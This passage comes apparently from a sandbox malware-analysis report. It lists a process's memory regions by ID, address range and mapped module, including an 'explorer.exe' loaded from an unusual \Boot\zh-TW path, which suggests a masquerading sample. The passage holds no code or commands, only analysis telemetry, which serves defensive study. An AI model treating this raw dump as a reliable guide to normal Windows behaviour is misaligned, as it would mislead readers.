region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7413 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7414 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7415 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7416 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7417 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7418 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7419 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7420 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7421 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7422 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7423 start_va = 0x1d0e0000 end_va = 0x1d1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d0e0000" filename = "" Region: id = 7424 start_va = 0x1d7e0000 end_va = 0x1d885fff monitored = 0 entry_point = 0x1d7e93e0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll") Region: id = 7425 start_va = 0x7ffa59240000 end_va = 0x7ffa592e9fff monitored = 0 entry_point = 0x7ffa592493e0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll") Region: id = 7426 start_va = 0x1bb40000 end_va = 0x1bb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7427 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7428 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7429 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7430 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7431 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7436 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7437 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7438 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7439 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 7440 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 7441 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 7442 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7443 start_va = 0x1ba10000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7444 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7445 start_va = 0x7ff9ff550000 end_va = 0x7ff9ff55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff550000" filename = "" Region: id = 7446 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7447 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7448 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7449 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 7450 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 7451 start_va = 0x1b2a0000 end_va = 0x1b2b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b2a0000" filename = "" Region: id = 7452 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7453 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7454 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 7455 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7456 start_va = 0x1b8c0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7457 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7458 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7459 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7460 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7461 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7462 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7468 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7469 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7470 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7471 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7472 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7473 start_va = 0x1bb80000 end_va = 0x1bb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb80000" filename = "" Region: id = 7474 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7475 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7476 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7477 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7478 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7479 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7480 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7481 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7482 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7483 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7484 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7485 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7486 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7489 start_va = 0x1d7f0000 end_va = 0x1d7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7f0000" filename = "" Region: id = 7490 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7491 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7492 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7493 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 7494 start_va = 0x1d840000 end_va = 0x1d84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d840000" filename = "" Region: id = 7495 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 7498 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 7499 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 7500 start_va = 0x1d880000 end_va = 0x1d88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d880000" filename = "" Region: id = 7501 start_va = 0x1d890000 end_va = 0x1d89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d890000" filename = "" Region: id = 7502 start_va = 0x1d8a0000 end_va = 0x1d8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 7504 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 7505 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 7506 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 7507 start_va = 0x1dbe0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 7508 start_va = 0x1dbf0000 end_va = 0x1dc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 7509 start_va = 0x1dc10000 end_va = 0x1dc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc10000" filename = "" Region: id = 7510 start_va = 0x1dc30000 end_va = 0x1dc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc30000" filename = "" Region: id = 7512 start_va = 0x1dc60000 end_va = 0x1dc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc60000" filename = "" Region: id = 7513 start_va = 0x1dc70000 end_va = 0x1dc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc70000" filename = "" Region: id = 7514 start_va = 0x1dc80000 end_va = 0x1dc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc80000" filename = "" Region: id = 7515 start_va = 0x1dc90000 end_va = 0x1dc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc90000" filename = "" Region: id = 7516 start_va = 0x1dca0000 end_va = 0x1dcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dca0000" filename = "" Region: id = 7518 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7519 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7520 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7521 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7522 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7524 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7525 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7526 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7527 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7528 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7529 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7530 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7533 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7534 start_va = 0x1d7f0000 end_va = 0x1d7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7f0000" filename = "" Region: id = 7535 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7536 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7537 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7538 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 7539 start_va = 0x1d840000 end_va = 0x1d84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d840000" filename = "" Region: id = 7540 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 7541 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 7542 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 7544 start_va = 0x1d880000 end_va = 0x1d88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d880000" filename = "" Region: id = 7545 start_va = 0x1d890000 end_va = 0x1d89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d890000" filename = "" Region: id = 7546 start_va = 0x1d8a0000 end_va = 0x1d8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 7547 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 7548 start_va = 0x1d8c0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 7549 start_va = 0x1dbe0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 7550 start_va = 0x1dc00000 end_va = 0x1dc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc00000" filename = "" Region: id = 7551 start_va = 0x1dc30000 end_va = 0x1dc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc30000" filename = "" Region: id = 7552 start_va = 0x1dc40000 end_va = 0x1dc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc40000" filename = "" Region: id = 7554 start_va = 0x1dc50000 end_va = 0x1dc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc50000" filename = "" Region: id = 7555 start_va = 0x1dc60000 end_va = 0x1dc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc60000" filename = "" Region: id = 7556 start_va = 0x1dc70000 end_va = 0x1dc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc70000" filename = "" Region: id = 7558 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7559 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7563 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7564 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7565 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7566 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7574 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7575 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7577 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7578 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7579 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7580 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7581 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7583 start_va = 0x7ffa702d0000 end_va = 0x7ffa702defff monitored = 0 entry_point = 0x7ffa702d1420 region_type = mapped_file name = "netfxperf.dll" filename = "\\Windows\\System32\\netfxperf.dll" (normalized: "c:\\windows\\system32\\netfxperf.dll") Region: id = 7584 start_va = 0x1d7e0000 end_va = 0x1d7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7585 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7586 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7587 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7588 start_va = 0x1d7f0000 end_va = 0x1d7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7f0000" filename = "" Region: id = 7589 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7590 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7592 start_va = 0x7ffa591f0000 end_va = 0x7ffa59231fff monitored = 1 entry_point = 0x7ffa591feb50 region_type = mapped_file name = "perfcounter.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\PerfCounter.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\perfcounter.dll") Region: id = 7593 start_va = 0x7ffa5f2c0000 end_va = 0x7ffa5f30cfff monitored = 0 entry_point = 0x7ffa5f2cb470 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 7596 start_va = 0x1dbe0000 end_va = 0x1ddd2fff monitored = 1 entry_point = 0x1ddd131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 7597 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7598 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7599 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7600 start_va = 0x1dfe0000 end_va = 0x1e0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dfe0000" filename = "" Region: id = 7602 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7603 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7604 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7605 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7606 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7607 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7608 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7609 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7610 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7611 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7612 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7614 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7615 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7616 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7617 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7618 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7619 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7620 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7621 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7623 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7624 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7625 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7626 start_va = 0x1dbe0000 end_va = 0x1ddd2fff monitored = 1 entry_point = 0x1ddd131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 7628 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7629 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7630 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 7631 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7632 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7634 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7635 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7636 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 7637 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7638 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 7639 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 